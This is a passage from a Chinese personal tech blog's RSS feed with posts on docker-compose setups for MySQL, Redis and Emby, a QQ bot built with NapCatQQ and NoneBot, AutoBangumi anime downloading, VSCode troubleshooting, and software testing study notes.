</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="s2">&#34;6379:6379&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="s2">&#34;8001:8001&#34;</span><span class="w">  </span><span class="c"># RedisInsight web UI 默认端口</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">volumes</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">redis_data:/data</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">restart</span><span class="p">:</span><span class="w"> </span><span class="l">always</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">volumes</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">mysql_data</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">redis_data</span><span class="p">:</span><span class="w">
</span></span></span></code></pre></div><h2 id="踩坑">踩坑</h2>
<ul>
<li>
<p><a href="https://github.com/redis/go-redis/issues/2081"  target="_blank" rel="noopener" >redisBloom commands don&rsquo;t work · Issue #2081 · redis/go-redis</a></p>
<p>换用redis-stack即可</p>
</li>
</ul>
<h2 id="reference">Reference</h2>
<ul>
<li><a href="https://hub.docker.com/_/mysql"  target="_blank" rel="noopener" >mysql - Official Image | Docker Hub</a></li>
<li><a href="https://medium.com/@chrischuck35/how-to-create-a-mysql-instance-with-docker-compose-1598f3cc1bee"  target="_blank" rel="noopener" >How to Create a MySql Instance with Docker Compose | by Chris Chuck | Medium</a></li>
<li><a href="https://redis.io/docs/latest/develop/connect/cli/"  target="_blank" rel="noopener" >Redis CLI | Docs</a></li>
<li><a href="https://hub.docker.com/r/redis/redis-stack"  target="_blank" rel="noopener" >redis/redis-stack - Docker Image | Docker Hub</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>使用NapCatQQ和NoneBot搭建qqBot</title>
      <link>https://ds63.eu.org/2024/setup-qqbot-using-napcatqq-and-nonebot/</link>
      <pubDate>Fri, 14 Jun 2024 16:23:34 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2024/setup-qqbot-using-napcatqq-and-nonebot/</guid>
      <description>新的开始</description>
      <content:encoded><![CDATA[<p><strong>因项目更新频繁，请注意本文最后更新时间，以免因本文内容失效造成困扰</strong></p>
<h2 id="缘起">缘起</h2>
<p>我在半年前折腾过一次qqBot的搭建，但那次由于风控问题，只能放弃了,具体记录在
<a href="https://ds63.eu.org/2023/setup_qqbot/"  target="_blank" rel="noopener" >qqBot 搭建 | EuDs&rsquo;s Blog</a>。</p>
<p>但这两天发现了<a href="https://github.com/NapNeko/NapCatQQ"  target="_blank" rel="noopener" >NapNeko/NapCatQQ: 基于NTQQ的无头Bot框架</a>，决定再次折腾，以下记录我的过程。</p>
<h2 id="过程">过程</h2>
<p>说明：以下均为Windows平台</p>
<ol>
<li>在<a href="https://github.com/NapNeko/NapCatQQ/releases"  target="_blank" rel="noopener" >Releases · NapNeko/NapCatQQ</a>下载<code>NapCat.Shell.zip</code>，并解压</li>
<li>运行<code>launcher.bat</code>，扫码登录</li>
<li>在NapCat的网页，新增Websocket客户端,url填<code>ws://127.0.0.1:8080/onebot/v11/ws</code>,token填<code>config/webui.json</code>里面的。具体参考
<ul>
<li><a href="https://napneko.github.io/config/basic#%E9%80%9A%E8%BF%87-webui-%E9%85%8D%E7%BD%AE-onebot-%E6%9C%8D%E5%8A%A1"  target="_blank" rel="noopener" >💖 NapCatのWebUI配置指南💖 | NapCatQQ</a></li>
</ul>
</li>
<li>参照<a href="https://nonebot.dev/docs/quick-start"  target="_blank" rel="noopener" >快速上手 | NoneBot</a>创建并运行NoneBot项目，注意：创建时适配器应选择OneBot V11，新建<code>.env</code>文件，里面填<code>ONEBOT_ACCESS_TOKEN=第三步填的token</code></li>
</ol>
<h2 id="感受">感受</h2>
<ol>
<li>这次整体流程很顺畅，最主要的还是因为登录只要手机扫个码就行，不用再一个个试协议来躲避风控。</li>
<li>时隔半年多又有了qq bot的需求，发现NapCat和NoneBot依然坚挺，但自己原先写的记录已不太适用，于是修改了下。</li>
</ol>
<h2 id="todo">Todo</h2>
<ul>
<li><input disabled="" type="checkbox"> 写个脚本，使得可以开机自启</li>
<li><input disabled="" type="checkbox"> 部署到服务器上，不知道会不会再遇到风控问题</li>
<li><input disabled="" type="checkbox"> 插件：<del>去年今日</del></li>
<li><input disabled="" type="checkbox"> </li>
</ul>
<h2 id="参考">参考</h2>
<ul>
<li><a href="https://napneko.github.io/zh-CN/guide/getting-started"  target="_blank" rel="noopener" >NapCatQQ</a></li>
<li><a href="https://napneko.github.io/zh-CN/guide/integration"  target="_blank" rel="noopener" >接入框架 | NapCatQQ</a></li>
<li><a href="https://x.none.bot/before/install_napcat"  target="_blank" rel="noopener" >NapCat 使用教程 | NoneBot 文档</a></li>
<li><a href="https://napneko.github.io/guide/boot/Shell"  target="_blank" rel="noopener" >Shell | NapCatQQ</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>AutoBangumi初体验</title>
      <link>https://ds63.eu.org/2024/first-experience-of-autobangumi/</link>
      <pubDate>Fri, 14 Jun 2024 00:11:18 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2024/first-experience-of-autobangumi/</guid>
      <description>为了更好的看番体验</description>
      <content:encoded><![CDATA[<h2 id="说明">说明</h2>
<ul>
<li>AutoBangumi 是什么?
<blockquote>
<p>AutoBangumi 是基于 RSS 的全自动追番整理下载工具。只需要在 Mikan Project 等网站上订阅番剧，就可以全自动追番。 并且整理完成的名称和目录可以直接被 Plex、Jellyfin 等媒体库软件识别，无需二次刮削。</p>
</blockquote>
</li>
<li>我的运行环境:
<ul>
<li>Windows11</li>
<li>docker</li>
</ul>
</li>
<li>资源占用情况(同时下载10集番剧时)
<ul>
<li>cpu: 最高可到15%</li>
<li>内存：维持在300MB以内</li>
<li>带宽：做种的人多的话能跑满</li>
</ul>
</li>
</ul>
<h2 id="过程">过程</h2>
<p>一开始我参考官方教程<a href="https://www.autobangumi.org/deploy/docker-compose.html"  target="_blank" rel="noopener" >通过 Docker Compose 部署 AutoBangumi | AutoBangumi</a>，但它所提供的<code>docker-compose.yml</code>文件有些简陋。</p>
<p>我主要是遇到了<a href="https://github.com/EstrellaXD/Auto_Bangumi/issues/410"  target="_blank" rel="noopener" >[错误报告]无法使用Downloader，https错误 · Issue #410 · EstrellaXD/Auto_Bangumi</a>这个问题。隐约感觉到可能是因为网段不同的缘故，但我没有进一步折腾。</p>
<p>后来我参照的是<a href="https://www.himiku.com/archives/auto-bangumi.html"  target="_blank" rel="noopener" >AutoBangumi：自动追番，解放双手 - 初之音</a></p>
<p>这个教程写得很棒。以下只补充几点自己遇到的问题：</p>
<ul>
<li>教程里所说的qBittorent的默认密码并不为<code>adminadmin</code>，而是要去运行日志里找，类似于
<blockquote>
<p>未设置 WebUI 管理员密码。为此会话提供了一个临时密码：gkNJ3xcz2</p>
</blockquote>
</li>
<li>播放器似乎目前只支持Plex/Emby/Jellyfin</li>
<li>AutoBangumi的web ui没提供的功能，可以去qBittorrent那边找</li>
<li>重命名通过qBittorrent下载的，但是想让 AB 重命名的番剧(好像不起作用？)
<ul>
<li>先限制qBittorrent的做种</li>
<li>配合<code>advance</code>模式，将这些番剧手动移动至 番剧名/Season x 的文件夹内，再将其分类设置为 Bangumi ，就可以被 AB 重命名</li>
</ul>
</li>
</ul>
<h2 id="开机自启">开机自启</h2>
<p>可参考：</p>
<ul>
<li><a href="https://www.bilibili.com/video/BV1oC4y1f7uY/"  target="_blank" rel="noopener" >Potplayer 挂载 Alist，播放网盘视频，看阿里云/百度/115网盘电影资源</a></li>
<li><a href="https://www.mibashuo.com/post/set-exe-as-system-service-with-nssm"  target="_blank" rel="noopener" >用nssm简易设置任意应用程序exe为Windows系统服务 - 米八说</a></li>
</ul>
<h2 id="windows-开启webdav">Windows 开启WebDAV</h2>
<blockquote>
<p>WebDAV stands for &ldquo;Web-based Distributed Authoring and Versioning&rdquo;. It is a set of extensions to the HTTP protocol which allows users to collaboratively edit and manage files on remote web servers.</p>
</blockquote>
<p>我的理解是它能让本地的文件在其他设备上访问，而不仅局限于Windows。</p>
<p>Potplayer还支持WebDav源的视频的直接播放。</p>
<p>但我只是了解，没进一步折腾，因为感觉不太适合我的需求。</p>
<p>可参考：</p>
<ul>
<li><a href="https://sspai.com/post/78540"  target="_blank" rel="noopener" >Windows开启WebDAV - 少数派</a></li>
<li><a href="https://www.yydnas.cn/2023/08/2023.08.01-Windows%E6%90%AD%E5%BB%BAWebDav%E6%B5%81%E7%A8%8B%E4%BB%A5%E5%8F%8A%E8%B8%A9%E5%9D%91%E8%AE%B0%E5%BD%95/index.html"  target="_blank" rel="noopener" >Windows搭建WebDav流程以及踩坑记录 | Forever Study</a></li>
<li><a href="https://www.horosama.com/archives/259"  target="_blank" rel="noopener" >win10/linux一键搭建webdav服务和公网访问教程 – 萌萌哒赫萝的小站</a></li>
</ul>
<h2 id="emby">EMBY</h2>
<p>注： 以下过程参考了</p>
<ul>
<li><a href="https://emby.media/index.html"  target="_blank" rel="noopener" >Emby - The open media solution</a></li>
<li><a href="https://www.rainlain.com/index.php/2024/02/28/2023/"  target="_blank" rel="noopener" >WINNAS轻松搭：EMBY媒体资源库进阶刮削方案 – 梦雨玲音</a></li>
</ul>
<ol>
<li>在 docker-compose.yml 底下加入以下内容：</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-docker" data-lang="docker"><span class="line"><span class="cl">emby:<span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err"></span>  image: lovechen/embyserver:latest<span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err"></span>  container_name: emby<span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err"></span>  <span class="c1"># network_mode: host</span><span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err"></span>  ports:<span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err"></span>    - 8096:8096<span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err"></span>    - 8920:8920<span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err"></span>    - 1900:1900/udp<span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err"></span>    - 7359:7359/udp<span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err"></span>  environment:<span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err"></span>    - <span class="nv">PUID</span><span class="o">=</span><span class="m">1000</span><span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err"></span>    - <span class="nv">PGID</span><span class="o">=</span><span class="m">1000</span><span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err"></span>    - <span class="nv">GIDLIST</span><span class="o">=</span><span class="m">0</span><span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err"></span>    - <span class="nv">TZ</span><span class="o">=</span>Asia/Shanghai<span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err"></span>    - <span class="nv">HTTP_PROXY</span><span class="o">=</span><span class="s2">&#34;http://你的代理IP:端口/&#34;</span><span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err"></span>    - <span class="nv">HTTPS_PROXY</span><span class="o">=</span><span class="s2">&#34;http://你的代理IP:端口/&#34;</span><span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err"></span>  devices:<span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err"></span>    - /dev/dri:/dev/dri<span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err"></span>  volumes:<span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err"></span>    - ./emby:/config<span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err"></span>    - 宿主机媒体文件夹的地址:/media/Bangumi <span class="c1"># 挂载媒体库，可按个人喜欢进行修改，不一定就得映射到/media/Bangumi</span><span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err"></span>  restart: unless-stopped<span class="err">
</span></span></span></code></pre></div><ol start="2">
<li>重启镜像</li>
<li>访问<code>http://127.0.0.1:8096/</code>进行设置</li>
<li>媒体库路径按照先前在<code>docker-compose.yml</code>文件中设置的，比如我这里就是<code>/media/Bangumi</code></li>
<li>局域网内访问
<ul>
<li>按照<a href="https://emby.media/support/articles/Connectivity.html"  target="_blank" rel="noopener" >Connectivity | Emby Documentation</a>进行排查，主要是开放端口。</li>
<li>仪表盘显示的访问地址无法使用的话，可访问<code>本地ip地址:8096</code></li>
<li>校园网环境下，几乎可以做到拖哪播哪</li>
</ul>
</li>
<li>todo: 尝试使用ipv6+ddns实现访问地址固定
<ul>
<li><a href="https://www.himiku.com/archives/plex-with-ipv6.html"  target="_blank" rel="noopener" >为 Plex 配置 IPv6 网络 - 初之音</a></li>
</ul>
</li>
</ol>
<h2 id="初体验的感受">初体验的感受</h2>
<p>刚接触没多久，我就意识到这其中的魅力：</p>
<ul>
<li>同一部番剧，不同字幕组，不同时期所提供的资源质量不同。</li>
<li>资源质量好坏的评判标准有很多点,对我来说：
<ol>
<li>内封字幕 &gt; 内嵌字幕</li>
<li>简体字幕 &gt; 繁体字幕</li>
<li>中日双语 &gt; 简体字幕</li>
<li>BDRip &gt; WebRip</li>
<li>翻译质量</li>
<li>&hellip;</li>
</ol>
</li>
<li>综合以上两条，我需要从诸多资源中进行取舍，找到最好的那个。</li>
<li>下载是使用Bittorrent。一个种的下载速度很大程度上取决于是否有人做种。那起起伏伏的下载速度蕴含着不少信息量。比如说当下载速度从几B一下子跃到几百KB时，这就在无声地告诉我，互联网的另一端，有位拥有着类似的爱好的用户开机了。</li>
<li>还是BitTorrent，这个有着二十多年历史的协议堪称互联网的缩影:你当然可以下完就跑，但你也可以去做种，通过占用自己的一部分资源（内存，存储，带宽）来造福下一位使用该种子的用户。</li>
<li>现阶段，只有特别喜欢的番我才会去下。一想到自己在一番折腾后，可以不用再忍受烦人的加载和广告，就能看到自己喜欢的番。这种成就感是很难比拟的。</li>
</ul>
<p>我现在还只是在自己的电脑上折腾，已经可以想象当我拥有一台nas后，它将吞噬我多少时间。</p>
<p>不过我乐意！</p>
<h2 id="比较">比较</h2>
<p>从昨天初体验冷静后，我对NAS和网盘进行了比较</p>
<ul>
<li>价格方面: NAS优势不大</li>
<li>隐私方面: NAS可以免于审查，但真正隐私的内容，我倾向于连NAS都不信任。最安全的方式还是敏感信息不上网,至少公网无法访问。</li>
<li>从访问速度方面: 局域网内访问，NAS优于网盘，但异地公网访问，NAS很难强于网盘。</li>
</ul>
<p>但让我选的话，我会选NAS，因为它更能给我一种数据是掌握在你自己手里的感觉，而且，我喜欢折腾。</p>
<h2 id="todo">Todo</h2>
<ul>
<li>
<p><input disabled="" type="checkbox"> 蜜柑计划感觉还是比较偏新番(主要是2013年之前)，我想下点老番，该去哪里找呢
- <a href="https://iblog.ren/posts/40/"  target="_blank" rel="noopener" >动漫BT网站收集</a></p>
</li>
<li>
<p><input disabled="" type="checkbox"> 直接在qb下的番，不知道怎么让ab重命名之类的</p>
</li>
<li>
<p><input disabled="" type="checkbox"> 参考<a href="https://champhoon.xyz/note/alist-streaming/"  target="_blank" rel="noopener" >论 AList 的滥用：多平台串联搭建个人影音－番剧流媒体服务 - 澄沨的漫游茶记</a>，部署AList</p>
</li>
<li>
<p>参考</p>
<ul>
<li><a href="https://sleele.com/2020/03/16/%E9%AB%98%E9%98%B6%E6%95%99%E7%A8%8B-%E8%BF%BD%E5%89%A7%E5%85%A8%E6%B5%81%E7%A8%8B%E8%87%AA%E5%8A%A8%E5%8C%96/"  target="_blank" rel="noopener" >高阶教程-追剧全流程自动化 | sleele的博客</a></li>
<li><a href="https://feng.red/300%20%E8%AF%84%E4%BB%B7/s/%E6%9C%AC%E5%9C%B0%E8%87%AA%E5%8A%A8%E8%BF%BD%E7%95%AA&#43;%E5%BD%B1%E8%A7%86%E5%89%A7%E5%88%AE%E5%89%8A%E6%95%B4%E7%90%86%28%E5%B1%80%E5%9F%9F%E7%BD%91%E5%A4%9A%E8%AE%BE%E5%A4%87%E6%92%AD%E6%94%BE%29%28%E6%97%A0nas%29/"  target="_blank" rel="noopener" >本地自动追番+影视剧刮削整理(局域网多设备播放)(无NAS)</a></li>
<li><a href="https://freshp0325.xyz/posts/2023071701"  target="_blank" rel="noopener" >如何管理自己的数字与生活资源？(Anime篇) - 桃罐</a></li>
<li><a href="https://champhoon.xyz/note/alist-streaming/"  target="_blank" rel="noopener" >论 AList 的滥用：多平台串联搭建个人影音－番剧流媒体服务 - 澄沨的漫游茶记</a></li>
</ul>
</li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>VSCode配置</title>
      <link>https://ds63.eu.org/2024/vscode%E9%85%8D%E7%BD%AE/</link>
      <pubDate>Thu, 13 Jun 2024 13:45:18 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2024/vscode%E9%85%8D%E7%BD%AE/</guid>
      <description>工欲善其事</description>
      <content:encoded><![CDATA[<h2 id="前言">前言</h2>
<p>VSCode是我的主力编辑器，但有些设置，虽然知道自己想调整什么，但又不知道它对应的名字，于是记录于此。</p>
<h2 id="字体">字体</h2>
<p><code>Editor: Font Family</code>: 我的设置为Consolas, &lsquo;新宋体&rsquo;, monospace</p>
<p>Windows下可以在<code>C:\Windows:\Fonts</code>找到本机安装的字体。</p>
<h2 id="quick-suggestions">Quick Suggestions</h2>
<p><code>Editor: Quick Suggestions</code></p>
<h2 id="整体界面的大小">整体界面的大小</h2>
<p><code>Window: Zoom Level</code></p>
<h2 id="问题与排查">问题与排查</h2>
<h3 id="2024年4月3日">2024年4月3日</h3>
<ul>
<li>问题描述：VSCode远程连接服务器，导致服务器卡死</li>
<li>排查过程：
这个问题我遇到过很多次。远程连接的服务器包括但不限于Azure,Amazon的。它们的一大共同特点就是内存小。</li>
<li>解决：
<ul>
<li>内存不大于2G的服务器尽量别使用VSCode进行远程连接</li>
</ul>
</li>
</ul>
<h3 id="2024年6月13日">2024年6月13日</h3>
<ul>
<li>
<p>问题描述: 最近输入老出问题，偏卡顿，要不就是一次性输入多个同样的字符。</p>
</li>
<li>
<p>排查过程：
通过控制变量法，发现只有在VSCode才有这种问题。进一步测试表面：只有在特定的项目才会出问题。</p>
<p>问题最终锁定在Quick Suggestions上。这个项目中有个markdown文件:十四万字，三百多kb。我将markdown文件的<code>editor.quickSuggestions</code>给关掉，就不怎么卡了。但我其实蛮喜欢这功能的,它不一定能有用，但时不时能给我些惊喜的发现。</p>
</li>
<li>
<p>解决</p>
<ul>
<li>最终我将该文件拆分为两个文件，现在似乎好多了。</li>
<li>另一种解决方式可能是：将<code>Editor: Quick Suggestions Delay</code>调大点。这个Delay我是理解成防抖的等待时间，不知道对不对。</li>
<li>这个issue提到了类似的问题：<a href="https://github.com/yzhang-gh/vscode-markdown/issues/489"  target="_blank" rel="noopener" >可否在文件较大时自动设置 syntaxDecorations 呢？ · Issue #489 · yzhang-gh/vscode-markdown</a></li>
</ul>
</li>
</ul>
<h2 id="2024年6月17日">2024年6月17日</h2>
<ul>
<li>问题描述：Win11下，“通过code打开”位于右键选项的二级菜单，我希望将其移到一级菜单</li>
<li>过程：
<ul>
<li><a href="https://github.com/BluePointLilac/ContextMenuManager"  target="_blank" rel="noopener" >BluePointLilac/ContextMenuManager: 🖱️ 纯粹的Windows右键菜单管理程序</a>该软件在Win10很好用，但未适配Win11。作者在21年就有适配Win11的计划，但因其工作繁忙未能成行。</li>
<li><a href="https://github.com/ikas-mc/ContextMenuForWindows11"  target="_blank" rel="noopener" >ikas-mc/ContextMenuForWindows11: Add Custom Context Menu For Windows11</a>。看文档感觉与我需求不符</li>
<li><a href="https://www.sordum.org/7615/easy-context-menu-v1-6/"  target="_blank" rel="noopener" >Easy Context menu v1.6</a>。似乎可用，但未开源，我不信任</li>
<li><a href="https://github.com/microsoft/vscode/issues/127365"  target="_blank" rel="noopener" >Integrate with the Windows 11 Context Menu · Issue #127365 · microsoft/vscode</a>，开发人员称该功能在inside版本实现，但因<a href="https://github.com/microsoft/vscode/issues/164689"  target="_blank" rel="noopener" >Uninstalling VS Code takes a long time, when enabling the Windows 11 context menu action · Issue #164689 · microsoft/vscode</a>，没有将其在稳定版本集成该功能的打算。（难绷，Win11都出几年了，能玩得转这右键菜单的软件怎么还是少数）</li>
<li>最终选择：修改注册表</li>
</ul>
</li>
</ul>
<h3 id="2024年10月14日">2024年10月14日</h3>
<ul>
<li>问题描述: 输不了中文句号</li>
<li>过程:
<ul>
<li>某个时候开始就输不了中文句号，测试发现只在vscode这样。</li>
</ul>
</li>
<li>解决
<ul>
<li>中文输入法下按<code>Ctrl+.</code>即可</li>
</ul>
</li>
</ul>
<h3 id="2025年1月29日">2025年1月29日</h3>
<ul>
<li>问题描述: 中文符号有黄色框</li>
<li>过程:
<ul>
<li>某日更新后出现</li>
</ul>
</li>
<li>解决:
<ul>
<li>启用 <code>Disable highlighting Of non basic ASCI | characters</code></li>
</ul>
</li>
</ul>
<h3 id="2025年6月16日">2025年6月16日</h3>
<ul>
<li>问题描述: 输入一个句号显示的是两个</li>
<li>过程:
<ul>
<li>以为是轴有问题，导致双击了，那好办，换一个就好。但换了后还是不行。</li>
<li>在其他地方试了下，发现只有vscode会出现这个问题。</li>
<li>谷歌搜了下，只搜到<a href="https://blog.csdn.net/qq_39710999/article/details/135947295"  target="_blank" rel="noopener" >VS Code输入1个中文标点符号出来2个的解决方案_vscode 处理异常中文标点-CSDN博客</a>，问题描述和我的很一致，但我没装这个插件。</li>
<li>发现似乎和我用的vim插件有关，果然找到了对应的issue，<a href="https://github.com/VSCodeVim/Vim/issues/9668"  target="_blank" rel="noopener" >Chinese input repeats characters when using VSCodeVim in insert mode · Issue #9668 · VSCodeVim/Vim</a>，最底下有个老哥给了解决方案，写得不是太详细，<a href="https://github.com/VSCodeVim/Vim/issues/9668#issuecomment-2976567562"  target="_blank" rel="noopener" >我稍微补充了下</a></li>
<li>看<a href="https://github.com/VSCodeVim/Vim/issues/9668#issuecomment-2988598532"  target="_blank" rel="noopener" >这个issue下有vscode员工的回复</a>。她找到了问题的根源，并用一段demo代码给出了证明。</li>
</ul>
</li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>软件质量保障复习笔记</title>
      <link>https://ds63.eu.org/2024/learn-software-quality-assurance/</link>
      <pubDate>Wed, 12 Jun 2024 19:51:22 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2024/learn-software-quality-assurance/</guid>
      <description>软件质量保障复习笔记</description>
      <content:encoded><![CDATA[<h2 id="第一章">第一章</h2>
<h3 id="软件的定义">软件的定义</h3>
<p>软件=程序+文档=数据+指令+文档</p>
<h3 id="软件测试">软件测试</h3>
<ul>
<li>软件测试是一组用来促进鉴定软件正确性、完整性、安全性和质量的过程。</li>
<li>换句话说，软件测试是一种实际输出与预期输出之间的审核或者比较过程。</li>
<li>经典定义: 在规定的条件下对程序进行操作，以发现程序错误，衡量软件质量，并对其是否能满足需求进行评估的过程。</li>
</ul>
<hr>
<h2 id="第二章">第二章</h2>
<h3 id="开发者测试">开发者测试</h3>
<ul>
<li>包括
<ol>
<li>单元测试 &lt;=&gt; 详细设计</li>
<li>集成测试 &lt;=&gt; 体系结构设计</li>
<li>系统测试 &lt;=&gt; 软件需求</li>
<li>验收测试 &lt;=&gt; 客户需求</li>
<li>Alpha和beta测试</li>
<li>回归测试</li>
</ol>
</li>
</ul>
<h3 id="单元测试">单元测试</h3>
<ul>
<li>侧重于核实软件的最小可测试元素</li>
<li>主要做功能正确的前提下的控制流和数据流的覆盖测试</li>
<li>目标
<ol>
<li>检验程序最小单元有无错误,如：接口、数据结构、边界、覆盖、逻辑</li>
<li>检验单元编码与设计是否吻合</li>
</ol>
</li>
</ul>
<h3 id="集成测试">集成测试</h3>
<ul>
<li>为什么进行集成测试？
<ul>
<li>一个模块可能对另一个模块产生不利的影响</li>
<li>将子功能合成时不一定产生所期望的主功能</li>
<li>独立可接受的误差，在组装后可能会超过可接受的误差限度</li>
<li>可能会发现单元测试中未发现的接口方面的错误</li>
<li>在单元测试中无法发现时序问题（实时系统）</li>
<li>在单元测试中无法发现资源竞争问题</li>
</ul>
</li>
<li>分类
<ul>
<li>非增式</li>
<li>增式
<ul>
<li>自顶向下</li>
<li>自底向上</li>
</ul>
</li>
</ul>
</li>
<li>“自顶向下”与“自底向上”的比较
<ul>
<li>什么时候能让测试者看到系统的框架</li>
<li>如何提供驱动模块和桩模块</li>
<li>生成测试数据的难易</li>
<li>什么时候暴露时序问题和资源竞争问题</li>
</ul>
</li>
</ul>
<h3 id="系统测试">系统测试</h3>
<ul>
<li>内容
<ul>
<li>软件系统之间的联合测试</li>
<li>软件、硬件等之间的联合测试</li>
<li>模拟真实运行环境的测试</li>
</ul>
</li>
<li>目标
<ul>
<li>检验组成整个系统的代码、以及系统的软硬件配合有无错误</li>
<li>代码实现的系统与用户需求是否吻合</li>
<li>检验系统的各种文档等是否完整、有效</li>
<li>模拟验收测试的要求，检查系统是否符合用户的验收标准</li>
</ul>
</li>
</ul>
<h3 id="α测试和β测试">α测试和β测试</h3>
<ul>
<li>α测试是由用户在开发环境下进行的测试,由开发者随时记录下错误情况和使用中的问题</li>
<li>β测试是一种验收测试，在实际使用环境下进行的测试.开发者通常不在测试现场,不能由程序员或测试员完成。</li>
</ul>
<h3 id="回归测试">回归测试</h3>
<ul>
<li>目标
<ul>
<li>修改的或增加的部分是正确的</li>
<li>没有引起其他部分产生错误</li>
</ul>
</li>
<li>应用
<ul>
<li>增量开发</li>
<li>版本控制</li>
<li>软件维护</li>
</ul>
</li>
</ul>
<h3 id="软件测试过程">软件测试过程</h3>
<ol>
<li>测试需求描述</li>
<li>测试计划</li>
<li>测试设计
<ul>
<li>用例</li>
<li>脚本</li>
<li>覆盖准则</li>
</ul>
</li>
<li>测试开发</li>
<li>测试执行</li>
<li>测试结果与预期结果比较</li>
<li>测试充分性评估</li>
<li>测试报告生成</li>
</ol>
<h3 id="黑盒测试">黑盒测试</h3>
<ul>
<li>黑盒测试被用来证实软件功能的正确性和可操作性</li>
<li>一种基于规格说明（Spec），不要求考察代码，以用户视角进行的测试</li>
<li>方法
<ol>
<li>基于图的测试</li>
<li>等价类划分</li>
<li>边值分析</li>
<li>比较测试</li>
</ol>
</li>
<li>优点
<ul>
<li>黑盒测试与软件具体实现无关，所以如果软件实现发生了变化，测试用例仍然可以使用；</li>
<li>设计黑盒测试用例可以和软件实现同时进行，因此可以压缩项目总的开发时间</li>
</ul>
</li>
</ul>
<h3 id="白盒测试">白盒测试</h3>
<ul>
<li>白盒测试用来分析程序的内部结构</li>
<li>基于代码，尽可能覆盖实现的行为</li>
<li>程序结构覆盖
<ol>
<li>语句覆盖：它要求被测程序的每一可执行语句在测试中尽可能都检验过,最弱</li>
<li>分支覆盖或判定覆盖：要求程序中所有判定的分支尽可能得到检验</li>
<li>条件覆盖：当判定式中含有多个条件时，要求每个条件的取值均得到检验</li>
<li>判定/条件覆盖：同时考虑条件的组合值及判定结果的检验</li>
<li>路径覆盖：只考虑对程序路径的全面检验</li>
<li>循环覆盖</li>
</ol>
</li>
</ul>
<hr>
<h2 id="第三章黑盒测试用例设计">第三章:黑盒测试用例设计</h2>
<h3 id="正面测试">正面测试</h3>
<ul>
<li>证明软件对于每条规格说明和期望都能通过</li>
<li>通过正面测试用例产生一组预期输出验证产品需求</li>
</ul>
<h3 id="负面测试">负面测试</h3>
<ul>
<li>产品没有设计、没有预想到的场景，尝试使系统垮掉</li>
<li>展示当输入非预期输入时,产品没有失败(fail)</li>
</ul>
<h3 id="等价类划分法">等价类划分法</h3>
<ul>
<li>等价类：测试相同目标或暴露相同软件缺陷的一组测试</li>
<li>有效等价类：完全满足产品规格说明的输入数据;每个有效等价类都要覆盖</li>
<li>无效等价类：不满足程序输入要求或者无效的输入数据构成的集合;每个无效等价类都要单独覆盖</li>
<li>等价类划分准则
<ol>
<li>输入条件代表一组列表形式的数据，则可以定义N个有效等价类和一个无效等价类</li>
<li>输入条件代表要求符合某几个规则，则可以定义多个有效等价类和若干个无效等价类；</li>
</ol>
</li>
</ul>
<h3 id="因果图判定表法">因果图(判定表)法</h3>
<ul>
<li>因果图的表示
<ul>
<li>Ci表示原因，Ei表示结果，原因和结果的4种关系：
<ol>
<li>恒等（—）</li>
<li>非（～）</li>
<li>或（∨）</li>
<li>与（∧）</li>
</ol>
</li>
<li>四种输入约束
<ol>
<li>互斥(E):多个原因不能同时成立，最多有一个能成立；即Ci不能同时为1</li>
<li>包含(I):多个原因中至少有一个必须成立；即Ci不能同时为0</li>
<li>唯一(O):多个原因中必须有一个且只有一个成立；即Ci只有一个为1</li>
<li>要求(R):当C1成立，C2也必须成立</li>
</ol>
</li>
<li>一种输出约束
<ol>
<li>屏蔽(M):当E1是1时，E2必须是0；当E1是0，E2的值不定；</li>
</ol>
</li>
</ul>
</li>
<li>过程
1. 生成因果图
2. 建立判定表
3. 生成测试用例</li>
</ul>
<h3 id="边界值分析法">边界值分析法</h3>
<ul>
<li>软件的两个主要缺陷源：1）条件；2）边界</li>
<li>边界值附近数据的确认方法
<ul>
<li>n: 存在边界值的参数个数</li>
<li>m: 边界值条件数</li>
<li>Paul Jorgensen公式
<ol>
<li>4n+1：基本边界测试:每个参数取min，min+1， max‐1，max各一次，同时其他参数取典型值nom。最后全部参数取典型值nom一次。</li>
<li>6n+1：健壮性边界测试: 每个参数取min‐1，min，min+1， max‐1，max，max+1各一次，同时其他参数取典型值nom。最后全部参数取典型值nom一次。</li>
<li>3m：条件边界测试:每个条件取‐1，自身，+1各一次。</li>
</ol>
<ul>
